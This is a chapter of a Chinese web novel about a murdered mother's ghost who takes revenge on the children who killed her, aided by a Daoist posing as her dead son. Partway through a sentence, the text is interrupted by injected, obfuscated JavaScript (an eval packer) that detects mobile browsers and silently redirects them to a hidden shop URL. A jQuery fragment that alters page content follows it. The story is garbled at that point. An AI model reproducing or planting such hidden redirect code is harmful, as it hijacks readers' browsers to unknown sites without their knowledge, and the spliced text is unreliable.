“鬼……鬼啊!!!”
原本好好跪着的赵朋兴跌坐在地,双手双腿并用哆嗦着往后挪,本就心里有鬼的他好悬没直接吓死,谁知退到一半,忽然撞上什么冰冷的东西。
头顶落下一片阴影,他下意识抬头,正好对上“赵朋远”因窒息格外扭曲的五孔。
赵朋兴:“!!!”
他这下彻底崩溃了,双眼一翻晕了过去。
等他再次睁开眼,他还跪在大厅中,上首的沈珮端着茶盏,好似一切都是一场梦。
“赵朋远”笑着看向他:“大哥怎么这副表情?”
赵朋兴双目痴呆,已经什么都说不出来了。
倒是赵芸卿还算镇定,虽然不知道为什么一眨眼的功夫她大哥就像受了什么天大的刺激,但她谨慎地没有开口试探,而是维持着以前对待沈珮的态度,亲昵又自然。
沈珮意味深长看了她一眼,想到自己的游戏时间还长,大发慈悲放过两人,只简单叮嘱几句,便放他们离开了。
等两人一前一后离开,披着“赵朋远”样貌的张云俭才开口:“赵三小姐实非常人。”
普通人见到被自己杀死的人早就吓懵了,赵朋兴那样才是正常人该有的表现,这位赵三小姐却十分镇定,心态不一般啊。
大概是魂体被削弱了许多,沈珮理智回来了不少,虽然还是一心报仇,但她和张云俭约法三章,不会对无辜之人下手,因此面对剩下两位凶手,一改之前的暴戾。
她垂下眸子:“我也没想到,我这位好女儿才是最狠辣的。”
沈珮和丈夫聚少离多,年逾三十才生下赵芸卿,这个年龄在古代已经不小了。因为这个缘故,赵芸卿生下来便体弱,用名贵草药调理了一年才如正常孩童。
她在赵芸卿身上下的功夫最多,连赵家两兄弟加起来也不及。
后来赵芸卿嫁人,她更是将自己的全部嫁妆充作陪嫁,又从私库掏了好些银子,生怕李家嫌弃女儿出身商贾……可就是这个女儿,亲自策划了这场谋杀!
这叫沈珮如何不恨?
生前她有多爱自己的孩子,死后就有多恨,这份恨意,支撑着她徘徊人间,不肯投胎。
哪怕是魂飞魄散,沈珮也要将三个狼心狗肺的东西带下去。
张云俭心中唏嘘,面上却不显,他的目的是保下赵府其他人,至于赵家两兄妹……自然是恶人自有恶鬼磨。
他叹了口气:“赵朋兴是个草包,随便吓吓就原形毕露,赵芸卿却有些棘手。”
直面鬼魂都无所畏惧,想要让她崩溃,恐怕要从长计议了。
沈珮却是冷笑一声:“她是从我肚子里爬出来了,她怕什么,我最清楚不过。”
赵芸卿嫁给李家是高嫁,李家书香门第,李老太爷探花出身,为了讨好李家,赵芸卿没少从家里拿钱,铺子、田地,只要她回家哭一哭,沈珮就会给她准备好。
即使如此,李夫人仍看不起她的出身,甚至孩子也是接到李夫人身边教导,她偶尔才能去看一眼。
一旦她杀人的事情败露,李家会怎么对她?
她悉心维护的一切,全都会灰飞烟灭。
沈珮眼中的恶意浓稠得几乎要滴出来,心中却格外畅快。
果然,对付这种人,从□□上摧残怎么够,就是要将他们最重要的东西毁灭给他们看啊!
赵朋远死得还是太便宜了!
只可惜杀掉她的好儿子的时候,沈珮就捏碎了他的魂魄,不然叫他背负着弑母的罪名,死后堕入十八层地狱,日日受刀锯之苦!
从沈珮那里离开的赵朋兴和赵芸卿二人对自己即将面对的一切一无所知,离开正厅之后便回了各自的院子。
直到踏入景和院,赵朋兴才从无边的恐惧中回过神来。
他狠狠掐了一把大腿,痛得他龇牙咧嘴,终于无法自欺欺人催眠自己刚才经历的都是梦。
他亲手杀害的人,回来找他报仇了。
赵朋兴后背已经被冷汗浸透,无论是沈珮还是赵朋远,都叫他汗毛耸立。
他就这样呆坐了半天,才恍然想起昨天被他赶走的乞丐。
赵朋兴猛地回过神,忙推开门,朝侍立在门外的小厮道:“赵管家呢?叫他来见我!”
对!那个乞丐一看就是高人!虽然他昨天把人赶走了,但高人怎么会介意呢!
只要他给出足够多的钱财,对方肯定会不计前嫌!
况且那些道士不都是见不得恶鬼为祸人间吗,死老太婆死了还不安宁,就该被打得魂飞魄散!
赵朋兴像是抓住了救命稻草,死死掐住小厮的双手,眼睛因兴奋而充血泛红:“还有昨天那个乞丐!多叫些人去找!他一个瘸子能走多远,把他给我找回来!”
小厮僵硬地点点头,转身离开,赵朋兴没将他的反常放在眼里,满脑子都是怎么再一次弄死自己的亲娘和亲弟弟。
只要这些恶鬼消失,他就还是赵府的大老爷!少了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409813|200610||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个人分家产,赵府一半财产都会落到他手里!
要是顺手杀了赵芸卿……不,不行,这个女人很聪明,他暂时还不能下手……
……
…………
赵虞很快来了景和院。
和他一起来的还有张云俭。
张云俭留在赵府自然不仅仅是为了看戏,更是为了看着沈珮履行约定。
毕竟有个成语叫“鬼话连篇”,他也怕沈珮不遵守约定大开杀戒。
当然,赵府管饭也是其中一个微不足道的原因。
张云俭和赵虞到景和院的时候赵朋兴正在屋里来回踱步。
本来觉得自己智谋无双的他一看到跟在赵虞身后的“赵朋远”就哑了火。
他脸色惨白地后退一步,又觉得丢面子,强撑着干巴巴道:“二、二弟怎么来了?”
张云俭笑眯眯看向他:“听说大哥找赵管家有要事,当弟弟的自然要来看看哪里帮得上大哥。”
这笑落在赵朋兴眼中无疑是黄鼠狼给鸡拜年。
虽然他没有亲自杀死赵朋远,但赵朋远是死在沈珮手里,他又不是没听过“为虎作伥”的故事,说不得赵朋远死后就成了沈珮手里的伥鬼呢?
他不敢在“赵朋远”面前吩咐赵虞去找道士捉鬼,只能勉强挂着笑同恶鬼虚与委蛇,甚至开始后悔自己的举动。
早知道他就亲自去找赵虞!
要是打草惊蛇,两个恶鬼直接把自己生吞活剥怎么办?
赵朋兴越想越怕,冷汗止不住往下流。
张云俭好心问:“大哥怎么流了这么多汗?今日很热吗?”
赵朋兴连忙点头:“没错!就是因为太热了!”
张云俭看着他不说话。
赵朋兴后知后觉现在已经初冬,哪里会热?他心中“咯噔”一下,抖若筛糠。
赵虞对他失望不已,既然已经加入沈珮的阵营,面对赵朋兴时自然没有好脸色,只随口糊弄几句,便转身离开。
张云俭看够了乐子,自然不会留下,赵朋兴压力骤减。
他咬牙望着二人离去的背影,狠狠咒骂几句,心道早晚要叫“赵朋远”灰飞烟灭!
“赵朋远”似乎察觉到了什么,猛地回头,直直望进那双怨毒的眼睛里,骇得赵朋兴后退几步,撞到身后的茶桌才停下。
他眼前一阵眩晕,远远望去,“赵朋远”似乎拄着拐杖,身形格外熟悉……
赵朋兴浑身发凉。